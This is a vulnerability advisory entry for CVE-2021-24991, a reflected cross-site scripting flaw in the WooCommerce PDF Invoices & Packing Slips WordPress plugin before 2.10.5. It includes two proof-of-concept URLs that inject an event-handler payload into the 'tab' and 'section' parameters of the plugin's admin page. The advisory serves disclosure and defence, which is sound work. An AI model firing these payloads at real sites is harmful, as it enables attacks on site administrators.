Lucene search
Krzysztof ZającWPVDB-ID:88E706DF-AE03-4665-94A3-DB226E1F31A9HistoryDec 06, 2021 - 12:00 a.m.
WooCommerce PDF Invoices & Packing Slips < 2.10.5 - Reflected Cross-Site Scripting
2021-12-0600:00:00
Krzysztof Zając
wpscan.com
8
0.001 Low
EPSS
Percentile
30.5%
The plugin does not escape the tab and section parameters before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting in the admin dashboard
PoC
https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&section;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(/XSS/)+x%3D https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&tab;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(/XSS/)+x%3D
| CPE | Name | Operator | Version |
|---|---|---|---|
| woocommerce-pdf-invoices-packing-slips | lt | 2.10.5 |
Related
wpexploit
wpexploit
prion
prion
Cross site scripting
2022-01-03 13:15:00
cvelist
cvelist
openvas
openvas
cve
cve
CVE-2021-24991
2022-01-03 13:15:08
nuclei
nuclei
patchstack
patchstack
nvd
nvd
CVE-2021-24991
2022-01-03 13:15:08
wpvulndb
wpvulndb